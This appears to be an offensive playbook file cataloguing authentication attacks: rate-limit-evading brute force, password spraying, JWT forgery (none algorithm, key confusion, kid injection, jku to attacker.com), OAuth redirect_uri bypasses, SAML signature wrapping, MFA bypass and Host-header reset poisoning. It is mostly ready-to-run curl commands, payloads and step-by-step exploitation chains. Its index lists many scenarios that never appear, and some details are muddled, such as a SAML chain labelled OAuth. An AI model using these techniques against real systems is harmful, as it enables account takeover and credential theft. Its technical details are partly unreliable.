---
name: scenarios-auth
description: "Real-world attack scenarios for Auth Bypass, JWT, OAuth, SAML — CVEs, bug bounty disclosures, real engagement chains"
---

# Authentication & Authorization — Real-World Attack Scenarios

> Sources: CVE database · HackerOne/Bugcrowd disclosed · Exploit-DB · Black Hat/DEF CON research · real engagement patterns

## Index

### Password & Credential Attacks
- S01: Password brute force with rate-limit bypass
- S02: Username enumeration via timing
- S03: Username enumeration via response difference
- S04: Password spraying (lockout-aware)
- S05: Default credentials (per CMS/device)
- S06: Credential stuffing (breached passwords)
- S07: Password reset poisoning

### JWT Attacks
- S08: JWT none algorithm
- S09: JWT RS256 → HS256 algorithm confusion
- S10: JWT weak HMAC secret
- S11: JWT kid header SQL injection
- S12: JWT kid header path traversal
- S13: JWT JKU/x5u header injection
- S14: JWT JWK injection (embed key)
- S15: JWT expiry manipulation
- S16: CVE-2022-21449 (Java ECDSA Psychic Signatures)
- S17: JWT refresh token reuse

### OAuth 2.0 / OIDC
- S18: OAuth state parameter CSRF
- S19: OAuth redirect_uri bypass
- S20: OAuth implicit flow token theft
- S21: OAuth PKCE downgrade
- S22: OAuth account linking takeover
- S23: OAuth scope escalation
- S24: OpenID nonce bypass

### SAML
- S25: SAML XML Signature Wrapping (XSW)
- S26: SAML comment injection
- S27: SAML XXE
- S28: SAML signature strip

### MFA Bypass
- S29: MFA response manipulation
- S30: MFA OTP reuse (race)
- S31: MFA backup code brute force
- S32: MFA bypass via "remember me"
- S33: MFA enrollment bypass
- S34: SIM swap / SS7 interception

### Session Management
- S35: Session fixation
- S36: Session token in URL
- S37: Insecure "Remember Me" token
- S38: Concurrent session abuse

### Password Reset & Account Recovery
- S39: Password reset token predictability
- S40: Host header injection in reset email
- S41: Password reset token reuse
- S42: Account takeover via email change

---

## Password & Credential Attacks

### S01: Password Brute Force with Rate-Limit Bypass
**Context:** Login form with rate limiting
**Seen in:** Real — every engagement
**Impact:** Account compromise

### Detection
```bash
# Test rate limit:
for i in {1..20}; do
  curl -s -X POST https://target.com/login -d "username=admin&password=test$i" -w "%{http_code}\n" -o /dev/null
done
# If all return 200/302 → no rate limit
# If returns 429/403 → rate limit detected
```

### Exploit
```bash
# 1. IP rotation:
# - Use X-Forwarded-For spoofing
# - Use proxy list (Tor, residential proxies)
# - Use botnet (last resort)
# 2. Header spoofing:
curl -X POST https://target.com/login -H "X-Forwarded-For: $(shuf -i 1-255 -n 1).$(shuf -i 1-255 -n 1).$(shuf -i 1-255 -n 1).$(shuf -i 1-255 -n 1)" -d "username=admin&password=test"
# 3. Account lockout bypass:
# - Use different account per attempt
# - Slow down (1 attempt per minute)
# - Use "throttled" approach
# 4. MFA bypass:
# - Many apps don't rate limit MFA attempts after first login
# - Or use a different IP/MFA factor
```

### Chain
1. Identify rate limit
2. Find bypass technique
3. Brute force admin or use leaked password
4. Login as target user
5. Pivot

### Bypass / Notes
- Always check X-Forwarded-For, X-Real-IP, X-Originating-IP
- Some apps use session-based rate limit → multiple sessions
- Account lockout policy often weak
- Use lower/uppercase email variants

---

### S02: Username Enumeration via Timing
**Context:** Login form, password reset
**Seen in:** Real — many bug bounty reports
**Impact:** Username discovery → targeted attacks

### Detection
```bash
# Time valid vs invalid user:
for user in valid_user random_user; do
  for i in {1..5}; do
    time curl -s -X POST https://target.com/login -d "username=$user&password=wrong" -o /dev/null
  done
done
# If valid user consistently slower → enumeration
```

### Exploit
```bash
# Common patterns:
# 1. Valid user: response 200 with message
# 2. Invalid user: response 200 with "user not found"
# 3. Valid + wrong pass: response 200 with "wrong password"
# 4. Invalid user: response 401
# 5. Valid + wrong pass: response 401
# 6. Time difference: valid user 100ms longer (bcrypt verify)
# Tools: Burp Intruder, ffuf, custom timing scripts
```

### Chain
1. Find username enumeration
2. Extract valid usernames
3. Spray common passwords (S04)
4. Or targeted password list
5. Login

### Bypass / Notes
- App returns same message for valid/invalid
- But timing differs → timing attack
- Use statistical analysis (multiple attempts)
- bcrypt/argon2 password hashing makes timing attack less reliable

---

### S03: Username Enumeration via Response Difference
**Context:** Login, registration, password reset
**Seen in:** Real — extremely common
**Impact:** Username discovery

### Detection
```bash
# Compare responses for valid vs invalid:
curl -s -X POST https://target.com/login -d "username=admin@target.com&password=wrong" -w "Status: %{http_code}\nSize: %{size_download}\n" -o /dev/null
curl -s -X POST https://target.com/login -d "username=random@target.com&password=wrong" -w "Status: %{http_code}\nSize: %{size_download}\n" -o /dev/null
# If status or size differs → enumeration
```

### Exploit
```bash
# 1. Forgot password:
curl -X POST https://target.com/forgot -d "email=admin@target.com"
curl -X POST https://target.com/forgot -d "email=random@target.com"
# If response differs → enumeration

# 2. Registration:
curl -X POST https://target.com/register -d "email=admin@target.com"
# "Email already exists" → valid
# "Email available" → invalid

# 3. Login (subtle):
# Valid: "Invalid password"
# Invalid: "User not found"
```

### Chain
1. Find enumeration vector
2. Extract valid usernames
3. Spray passwords
4. Login

### Bypass / Notes
- Use response size, headers, timing
- Sometimes only one vector leaks
- Check all auth endpoints

---

### S04: Password Spraying (Lockout-Aware)
**Context:** Lockout policies limit attempts per user, not per IP
**Seen in:** Real — Pentest engagements
**Impact:** Mass account compromise with low detection

### Detection
```bash
# Identify lockout policy:
for i in 1 2 3 4 5; do
  curl -s -X POST https://target.com/login -d "username=admin&password=wrong$i" -w "%{http_code}\n" -o /dev/null
done
# When does it lock?
# After 5? After 10? After per-IP rate limit hits?
```

### Exploit
```bash
# 1. Build user list (enumeration S02/S03)
# 2. Build common password list (top 50 leaked passwords)
# 3. Spray 1 password per N minutes:
#    - Try "Password1!" against all users
#    - Wait 30 min
#    - Try "Welcome1!" against all users
#    - etc.
# 4. Or use kerbrute for AD:
kerbrute passwordspray -d target.com users.txt "Welcome1!"
```

### Chain
1. User list from enumeration
2. Password list (top leaked)
3. Slow spray (lockout-aware)
4. Hit valid account
5. Login

### Bypass / Notes
- 1 attempt per 30 min per user → no lockout
- Use multiple IPs if needed
- Combine with seasonal events (holidays, new year)
- Check for default passwords (S05)

---

### S05: Default Credentials
**Context:** Default admin accounts on CMS, routers, services
**Seen in:** Real — extremely common
**Impact:** Direct admin access

### Detection
```bash
# Common default creds:
# - admin/admin
# - admin/password
# - admin/12345
# - root/root
# - test/test
# - guest/guest
# - admin/<blank>
# - Per CMS defaults:
#   - WordPress: admin/admin (changed in setup)
#   - Joomla: admin/admin
#   - Drupal: admin/admin
#   - Tomcat: tomcat/tomcat, admin/<blank>
#   - JBoss: admin/admin
#   - Jenkins: admin/<initial password from logs>
#   - Grafana: admin/admin
#   - phpMyAdmin: root/<blank>, root/root
#   - MySQL: root/<blank>
#   - PostgreSQL: postgres/postgres
#   - MongoDB: <no auth by default>
#   - Redis: <no auth by default>
#   - Router: admin/admin, admin/password
```

### Exploit
```bash
# Test with SecLists:
# https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/
# Use default-creds-cheat-sheet:
# https://github.com/iiamloz/default-creds-cheat-sheet
# Or use tool:
# nmap --script http-default-accounts
```

### Chain
1. Identify service
2. Try default creds
3. Login as admin
4. Full compromise

### Bypass / Notes
- Default creds are still extremely common
- Especially on internal services
- Routers, IoT devices, network gear
- Quick win in every engagement

---

### S07: Password Reset Poisoning
**Context:** App sends password reset link with host header
**Seen in:** Real — many bug bounty reports
**Impact:** Account takeover

### Detection
```bash
# Check if host header used in reset link:
curl -X POST https://target.com/forgot -d "email=victim@target.com" -H "Host: attacker.com"
# If reset link points to attacker.com → vulnerable
```

### Exploit
```bash
# 1. Trigger password reset for victim
# 2. Intercept or poison via Host header
# 3. Reset link goes to attacker.com
# 4. Victim clicks link → goes to attacker.com
# 5. Capture token
# 6. Reset password
# 
# Headers to try:
# - Host: attacker.com
# - X-Forwarded-Host: attacker.com
# - X-Host: attacker.com
# - X-Forwarded-Server: attacker.com
```

### Chain
1. Find password reset
2. Test host header injection
3. Trigger reset for victim
4. Capture token via attacker server
5. Reset password

### Bypass / Notes
- Many apps don't validate Host header
- Some use X-Forwarded-Host (proxy sets)
- Always try all variants
- Some apps have multiple email templates

---

## JWT Attacks

### S08: JWT None Algorithm
**Context:** JWT-based auth with none algorithm support
**Seen in:** Real — HackerOne #1287170, multiple bounties
**Impact:** Forge any identity

### Detection
```bash
# Get a valid JWT:
TOKEN="eyJ..."
echo $TOKEN | cut -d'.' -f1 | base64 -d  # header
echo $TOKEN | cut -d'.' -f2 | base64 -d  # payload
# Check alg in header
# If alg=HS256 or alg=RS256, test "none" bypass
```

### Exploit
```bash
# 1. Decode JWT
HEADER="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9"  # {"alg":"HS256","typ":"JWT"}
PAYLOAD="eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ"  # {"sub":"1234567890","name":"admin","iat":1516239022}
# 2. Modify payload (e.g., set user to admin)
NEW_PAYLOAD="eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNTE2MjM5MDIyfQ"
# 3. Change algorithm to "none":
NEW_HEADER="eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0"  # {"alg":"none","typ":"JWT"}
# 4. Create forged token:
FORGED="${NEW_HEADER}.${NEW_PAYLOAD}."  # empty signature
# 5. Use:
curl -H "Authorization: Bearer $FORGED" https://target.com/api/me
```

### Chain
1. Get valid JWT
2. Decode + modify payload
3. Change alg to "none"
4. Submit forged token
5. Access any account

### Bypass / Notes
- Older JWT libs (jsonwebtoken < 4.2.2, jose4j)
- "None" is being deprecated
- Some libs accept "None", "NONE", "nOnE"
- Some accept empty signature, some require it

---

### S09: JWT RS256 → HS256 Algorithm Confusion
**Context:** Server uses RS256 (asymmetric) but accepts HS256
**Seen in:** Real — classic JWT attack
**Impact:** Forge any identity

### Detection
```bash
# Check JWT alg:
# If alg=RS256, server uses RSA public key to verify
# Test if server also accepts HS256 (uses public key as HMAC secret)
```

### Exploit
```bash
# 1. Get public key (often in /jwks.json or /.well-known/jwks.json)
curl https://target.com/.well-known/jwks.json
# 2. Save public key
# 3. Modify JWT to alg=HS256
# 4. Sign with public key as HMAC secret:
# Tool: jwt_tool
python jwt_tool.py <TOKEN> -X k -pk public_key.pem
# Or manually:
# Header: {"alg":"HS256","typ":"JWT"}
# Payload: {"sub":"admin","role":"admin","iat":...}
# Sign with HMAC-SHA256 using public key as secret
# 5. Submit forged token
```

### Chain
1. Find JWT with RS256
2. Get public key
3. Forge HS256 token signed with public key
4. Submit
5. Access any account

### Bypass / Notes
- Many JWT libs vulnerable by default
- Node jsonwebtoken < 4.2.2
- Older PyJWT, jose4j
- Always test RS256→HS256 confusion

---

### S10: JWT Weak HMAC Secret
**Context:** HS256 JWT with weak secret
**Seen in:** Real — many bug bounty reports
**Impact:** Forge any identity

### Detection
```bash
# Check alg=HS256
# Crack with hashcat:
# 1. Get JWT (with signature)
TOKEN="eyJ..."
# 2. Save to file
echo $TOKEN > jwt.txt
# 3. Crack:
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
# Or:
john --wordlist=/usr/share/wordlists/rockyou.txt jwt.txt
```

### Exploit
```bash
# If crack succeeds, you have the secret
# Now forge any JWT:
# Header: {"alg":"HS256","typ":"JWT"}
# Payload: {"sub":"admin","role":"admin"}
# Sign with secret
# 
# Use jwt_tool:
python jwt_tool.py -S hs256 -p "secret123" -t "header.payload"
```

### Chain
1. Get JWT
2. Crack secret (hashcat -m 16500)
3. Forge any token
4. Full access

### Bypass / Notes
- Many devs use simple secrets
- "secret", "password", company name
- Top 1000 passwords work often
- Default secrets: "your-256-bit-secret"

---

### S11: JWT Kid Header SQL Injection
**Context:** JWT with kid header used in DB query
**Seen in:** Real — multiple bug bounty reports
**Impact:** Forge any identity

### Detection
```bash
# Get JWT, check kid in header
echo $TOKEN | cut -d'.' -f1 | base64 -d
# If kid is present, test SQLi
```

### Exploit
```bash
# 1. Modify kid to SQLi:
# Original: "kid": "key-2024-01-01"
# Payload: "kid": "x' UNION SELECT 'attacker_secret'-- -"
# 2. Sign with "attacker_secret" as HMAC key
# 3. Server queries DB: SELECT key FROM keys WHERE id='x' UNION SELECT 'attacker_secret'-- -'
# 4. Gets 'attacker_secret' → verifies with it → success
# 5. Forge any identity
```

### Chain
1. Find JWT with kid header
2. Inject SQLi in kid
3. Force server to use attacker secret
4. Sign forged JWT with that secret
5. Submit

### Bypass / Notes
- Less common but high impact
- Newer libs validate kid format
- Also test for NoSQL injection in kid

---

### S12: JWT Kid Header Path Traversal
**Context:** JWT with kid used as file path
**Seen in:** Real — multiple bug bounty reports
**Impact:** Forge any identity

### Detection
```bash
# Test kid for path traversal:
# Modify kid to: ../../dev/null
# If server reads /dev/null as key → empty string
# Sign with empty string as secret
```

### Exploit
```bash
# 1. Get JWT with kid
# 2. Modify kid:
# Original: "kid": "key1"
# Payload: "kid": "../../dev/null"  # or /dev/null
# 3. Sign with empty string as secret
# 4. Server reads /dev/null (empty file) → uses "" as secret
# 5. Verifies with empty string → success
# 6. Submit forged token
```

### Chain
1. Find JWT with kid
2. Modify kid to /dev/null
3. Sign with empty secret
4. Submit forged token
5. Full access

### Bypass / Notes
- Newer libs restrict kid to safe values
- Test multiple path traversal variants
- Also test: /proc/sys/kernel/hostname as kid

---

### S13: JWT JKU/x5u Header Injection
**Context:** JWT with jku/x5u pointing to JWKS URL
**Seen in:** Real — bug bounty reports
**Impact:** Forge any identity

### Detection
```bash
# Check JWT for jku or x5u header
# jku = JWK Set URL
# x5u = X.509 URL
# If present, server may fetch from URL → SSRF + key injection
```

### Exploit
```bash
# 1. Get JWT
# 2. Modify jku to attacker URL:
# "jku": "https://attacker.com/jwks.json"
# 3. Host malicious JWKS at attacker.com with your public key:
# jwks.json:
{"keys":[{"kty":"RSA","kid":"...","use":"sig","alg":"RS256","n":"...","e":"AQAB"}]}
# 4. Sign forged JWT with attacker's private key
# 5. Submit → server fetches attacker's JWKS → verifies with attacker's key
# 6. Identity forge
```

### Chain
1. Find JWT with jku/x5u
2. Host attacker JWKS
3. Modify jku to attacker URL
4. Sign forged JWT with attacker key
5. Submit

### Bypass / Notes
- Should validate jku domain
- Many apps don't
- jku=x5u both work
- Combined with SSRF: access internal JWKS

---

### S16: CVE-2022-21449 (Java ECDSA Psychic Signatures)
**Context:** Java 15-18 with ECDSA signature verification
**Seen in:** Real — mass exploitation 2022
**Impact:** Forge any JWT signed with ES256

### Detection
```bash
# Check if target uses Java + ECDSA (ES256)
# Try forging JWT with r=0, s=0
```

### Exploit
```bash
# Forge JWT with r=0, s=0:
# Use jwt_tool with the right flags
# Or:
import jwt
import base64
header = base64.urlsafe_b64encode(b'{"alg":"ES256","typ":"JWT"}').rstrip(b'=')
payload = base64.urlsafe_b64encode(b'{"sub":"admin","role":"admin"}').rstrip(b'=')
# Sign with r=0, s=0
# r=0, s=0 means (0, 0) point on ECDSA curve
# Java < 18 accepts this as valid signature
# Tool: https://github.com/nicpenning/ECDSA-psychic-signatures
```

### Chain
1. Find JWT with ES256
2. Determine Java version
3. Forge with r=0, s=0
4. Submit
5. Full access

### Bypass / Notes
- Only affects Java 15-18
- Patched in Java 18.0.1+
- Still found in older enterprise Java apps
- Use with jku or other JWT issues for impact

---

## OAuth 2.0 / OIDC

### S18: OAuth State Parameter CSRF
**Context:** OAuth login without state parameter
**Seen in:** Real — many bug bounty reports
**Impact:** Account takeover via CSRF

### Detection
```bash
# Check OAuth flow:
# 1. Initiate login
# 2. Check if state is set
# 3. If no state or predictable → CSRF
```

### Exploit
```bash
# 1. Attacker starts OAuth flow with attacker's account
# 2. Gets authorization code
# 3. Victim logs in via attacker's code (no state validation)
# 4. Victim's account now linked to attacker's OAuth
# 5. Attacker logs in via OAuth → accesses victim's account
# 
# Real chain:
# 1. Attacker clicks "Login with Google" → gets code
# 2. Attacker sends victim: "https://target.com/oauth/callback?code=ATTACKER_CODE"
# 3. Victim (already logged in) clicks → server links ATTACKER's Google to VICTIM's account
# 4. Attacker logs in with Google → accesses victim's account
```

### Chain
1. Find OAuth without state
2. Get attacker auth code
3. Force victim to use it
4. Account linked to attacker's OAuth
5. Attacker logs in as victim

### Bypass / Notes
- Always check state
- Predictable state (timestamp) → still vulnerable
- Some apps use state but don't validate
- Use same state across requests

---

### S19: OAuth redirect_uri Bypass
**Context:** OAuth provider validates redirect_uri
**Seen in:** Real — extremely common, many bounties
**Impact:** Auth code theft → account takeover

### Detection
```bash
# Test redirect_uri variants:
# 1. Path traversal:
redirect_uri=https://target.com/callback/../attacker
# 2. Subdomain:
redirect_uri=https://attacker.target.com/callback
# 3. Open redirect chain:
redirect_uri=https://target.com/redirect?url=https://attacker.com
# 4. Fragment + path:
redirect_uri=https://target.com/callback/attacker
# 5. Query parameter:
redirect_uri=https://target.com/callback?attacker=true
# 6. URL encoding:
redirect_uri=https%3A%2F%2Ftarget.com%2Fcallback
# 7. Mixed case (for case-insensitive checks):
redirect_uri=https://TARGET.com/callback
# 8. Add @:
redirect_uri=https://target.com@attacker.com/callback
# 9. Add .:
redirect_uri=https://target.com.attacker.com/callback
# 10. Whitespace:
redirect_uri=https://target.com /callback
```

### Exploit
```bash
# 1. Find redirect_uri that bypasses validation
# 2. Set up attacker server to receive code
# 3. Send victim: oauth provider URL with attacker's redirect_uri
# 4. Victim authorizes → code sent to attacker's server
# 5. Attacker exchanges code for access_token
# 6. Attacker has victim's OAuth access
```

### Chain
1. Find redirect_uri bypass
2. Set up attacker receiver
3. Send crafted OAuth URL to victim
4. Capture auth code
5. Exchange for token
6. Access victim's account

### Bypass / Notes
- Use wildcard subdomain (if *.target.com allowed)
- Find open redirect on target domain
- Test all encoding variants
- Some providers: "If prefix matches, OK"

---

### S20: OAuth Implicit Flow Token Theft
**Context:** OAuth implicit flow with token in URL fragment
**Seen in:** Real — many older apps
**Impact:** Token theft via Referer or window.location

### Detection
```bash
# Implicit flow returns token in URL:
# https://target.com/callback#access_token=ABC&token_type=bearer&expires_in=3600
# Check if app logs Referer → token leaks
# Or if attacker can read window.location
```

### Exploit
```bash
# 1. Phishing: Send victim to attacker page
# 2. Attacker page opens: 
# window.open('https://target.com/oauth/authorize?...&response_type=token&redirect_uri=https://target.com/callback')
# 3. After auth, victim redirected to callback with token in URL
# 4. Attacker page reads window.location of opened window
# 5. Captures token
# 
# Or via Referer leak:
# If callback has external resources, Referer may include URL with token
```

### Chain
1. Find implicit flow OAuth
2. Set up attacker page
3. Phish victim
4. Capture token from window.location
5. Access victim's account

### Bypass / Notes
- Implicit flow deprecated by OAuth 2.1
- Still common in older apps
- Replace with PKCE authorization code flow
- Always validate token in fragment, not URL params

---

### S21: OAuth PKCE Downgrade
**Context:** App uses PKCE but doesn't enforce
**Seen in:** Real — bug bounty reports
**Impact:** Authorization code interception

### Detection
```bash
# Check if app requires code_challenge:
# 1. Initiate OAuth without code_challenge
# 2. If auth succeeds → no enforcement
```

### Exploit
```bash
# 1. App initiates OAuth with PKCE
# 2. Attacker intercepts authorization_code
# 3. Attacker tries to exchange code without code_verifier
# 4. If server doesn't validate → accepts code → token
# 5. Account takeover
```

### Chain
1. Find OAuth with PKCE
2. Intercept auth code
3. Try without verifier
4. If accepted → account takeover
5. Pivot

### Bypass / Notes
- PKCE only effective if enforced
- Some apps set code_challenge but don't verify
- Always test downgrade

---

### S25: SAML XML Signature Wrapping (XSW)
**Context:** SAML SSO with signature wrapping
**Seen in:** Real — multiple bug bounty reports
**Impact:** Authentication bypass

### Detection
```bash
# Check SAML implementation
# Look for: SAMLResponse in POST body
# Test for XSW vulnerabilities
```

### Exploit
```bash
# 1. Get SAML response (e.g., from own login):
<SAMLResponse>
  <Assertion ID="valid">...signed...</Assertion>
  <Assertion ID="attacker">...unsigned, role=admin...</Assertion>
</SAMLResponse>
# 2. Reorder + duplicate assertions
# 3. Server validates signature on first (valid) assertion
# 4. But reads identity from second (attacker) assertion
# 
# XSW attacks (XSW1-XSW8):
# - XSW1: Reorder — put attacker first, signed second
# - XSW2: Wrap attacker in extension
# - XSW3: Duplicate signed assertion, then attacker
# - XSW4: Wrap attacker in object
# - XSW5: Add attacker in same level
# - XSW6: Add attacker in extension
# - XSW7: Add attacker in object
# - XSW8: Add attacker as second Assertion
# 
# Tool: SAML Raider (Burp extension)
```

### Chain
1. Find SAML SSO
2. Capture own SAML response
3. Apply XSW attack
4. Submit modified response
5. Login as admin

### Bypass / Notes
- OneLogin, Auth0, Okta, etc.
- Many historical CVEs
- Use SAML Raider or manual XML manipulation
- Test all 8 XSW variants

---

## MFA Bypass

### S29: MFA Response Manipulation
**Context:** App returns "success":false in response
**Seen in:** Real — multiple bug bounty reports
**Impact:** MFA bypass

### Detection
```bash
# Submit MFA code:
curl -X POST https://target.com/api/mfa -H "Cookie: session=..." -d '{"code":"123456"}'
# Returns: {"success":false}
# If response can be modified → bypass
```

### Exploit
```bash
# 1. Submit MFA code (any code)
# 2. Intercept response
# 3. Change "success":false to "success":true
# 4. Server trusts client response → MFA bypass
# 
# Or:
# 1. Submit valid code
# 2. Server returns 200 OK
# 3. Manipulate body: "mfa_verified":true
# 4. Bypass
```

### Chain
1. Find MFA endpoint
2. Submit code
3. Intercept response
4. Modify to bypass
5. Access account

### Bypass / Notes
- Critical: client-side trust
- Should verify MFA on server-side, return boolean
- Often in SPA, mobile apps
- Real HackerOne: $10K+ for MFA bypass

---

### S30: MFA OTP Reuse (Race)
**Context:** OTP not invalidated after use
**Seen in:** Real — many apps
**Impact:** MFA bypass

### Detection
```bash
# Use same OTP twice (rapidly):
curl -X POST https://target.com/api/mfa -H "Cookie: session=A" -d '{"code":"123456"}' &
curl -X POST https://target.com/api/mfa -H "Cookie: session=B" -d '{"code":"123456"}' &
wait
# If both succeed → OTP reuse
```

### Exploit
```bash
# 1. Get one OTP from victim's authenticator (via phishing)
# 2. Use it on attacker's session
# 3. Use it again on another session
# 4. If app doesn't track OTP usage → multiple uses
# 
# Real case: target.com/login → username=admin
# → POST /mfa {code: "123456"}
# → Returns 200 OK (success)
# → POST /mfa {code: "123456"} again
# → Returns 200 OK (success)
# → Replay indefinitely until TOTP time changes
```

### Chain
1. Get OTP (phishing, MitM, social engineering)
2. Submit on attacker's session
3. Replay multiple times
4. Bypass MFA

### Bypass / Notes
- TOTP: 30s window, can be used multiple times
- SMS: often not tracked
- Push notifications: not always tracked

---

## Session Management

### S35: Session Fixation
**Context:** Session ID doesn't change after login
**Seen in:** Real — many apps
**Impact:** Account takeover

### Detection
```bash
# 1. Get session ID before login
curl -s -c cookies.txt https://target.com/login -o /dev/null
# 2. Login with this session
curl -s -b cookies.txt -c cookies.txt -X POST https://target.com/login -d "username=admin&password=..." -o /dev/null
# 3. Check if session ID changed
cat cookies.txt
# If unchanged → session fixation
```

### Exploit
```bash
# 1. Attacker visits site, gets session ID
# 2. Sends victim: "https://target.com/?SESSIONID=ATTACKER_SESSION"
# 3. Victim logs in (using attacker's session ID)
# 4. Attacker now has authenticated session
```

### Chain
1. Find session fixation
2. Set attacker's session
3. Force victim to use it
4. Attacker logs in as victim

### Bypass / Notes
- Should regenerate session ID on login
- Many apps don't
- Test on all auth endpoints
- Check logout too

---

### S37: Insecure "Remember Me" Token
**Context:** Persistent login token stored in cookie
**Seen in:** Real — many apps
**Impact:** Account takeover

### Detection
```bash
# Check "Remember Me" cookie:
# - Predictable? (user_id + timestamp)
# - Long-lived? (no expiry)
# - Can be reused?
# - Token in plain text?
curl -s -c cookies.txt https://target.com/login -d "username=admin&password=...&remember=true" -o /dev/null
cat cookies.txt
# If cookie like "user=admin&timestamp=123" → predictable
```

### Exploit
```bash
# 1. Predict token:
# Token = base64(user_id) + ":" + base64(expiry)
# Or: Token = MD5(user_id + secret_key)
# 2. Forge token for any user
# 3. Set cookie → access
# 
# Or: Steal cookie via XSS (no HttpOnly)
```

### Chain
1. Find remember me cookie
2. Analyze pattern
3. Forge or steal
4. Account access

### Bypass / Notes
- Should be random, hashed, server-side
- Often vulnerable
- Combine with XSS for max impact

---

## Password Reset & Account Recovery

### S39: Password Reset Token Predictability
**Context:** Reset token is sequential or guessable
**Seen in:** Real — many bug bounty reports
**Impact:** Account takeover

### Detection
```bash
# 1. Request multiple resets:
for i in 1 2 3; do
  curl -X POST https://target.com/forgot -d "email=admin@target.com" -i
done
# 2. Check tokens
# 3. Analyze pattern
```

### Exploit
```bash
# If tokens are sequential:
# Reset 1: token=abc123
# Reset 2: token=abc124
# Predict next user's token
# 
# If based on user_id + timestamp:
# Predict from user enumeration
# 
# If MD5(user_id + known_salt):
# Compute and forge
```

### Chain
1. Find predictable token
2. Predict target user's token
3. Reset password
4. Account takeover

### Bypass / Notes
- Use crypto random for tokens
- Long enough (>128 bits)
- Short expiry (15-30 min)
- Single use

---

### S40: Host Header Injection in Reset Email
**Context:** Reset link uses Host header
**Seen in:** Real — multiple bug bounty reports
**Impact:** Account takeover

### Detection
```bash
# Test Host header injection:
curl -X POST https://target.com/forgot -d "email=victim@target.com" -H "Host: attacker.com" -i
# If reset link uses attacker.com → vulnerable
```

### Exploit
```bash
# 1. Trigger password reset for victim
# 2. Add Host header: "attacker.com"
# 3. Reset link becomes: https://attacker.com/reset?token=ABC
# 4. Victim clicks → attacker.com receives token
# 5. Attacker uses token to reset password
# 
# Other headers to try:
# - X-Forwarded-Host: attacker.com
# - X-Host: attacker.com
# - X-Forwarded-Server: attacker.com
```

### Chain
1. Find Host header injection
2. Trigger reset for victim
3. Poison Host header
4. Capture token
5. Reset password
6. Account takeover

### Bypass / Notes
- Use absolute URL in email templates
- Whitelist domains
- Many apps still vulnerable
- Real HackerOne: $5K+ bounties

---

## Real-World Chain Examples

### Chain A: Password Reset Host Header → ATO
1. Find password reset
2. Host header injection
3. Victim clicks poisoned link
4. Attacker captures token
5. Reset password
6. Account takeover

### Chain B: JWT None → Admin Access
1. Get JWT from own account
2. Modify payload to admin
3. Change alg to "none"
4. Submit forged token
5. Access admin APIs

### Chain C: OAuth XSW → Internal SSO Bypass
1. Find SAML SSO
2. Get own SAML response
3. Apply XSW attack
4. Submit modified response
5. Login as any user
6. Internal SSO bypass

### Chain D: MFA Bypass → Cloud Pivot
1. Find user account
2. Brute force or credential stuffing
3. Hit MFA → response manipulation
4. Bypass MFA
5. Access user's cloud resources
6. Pivot
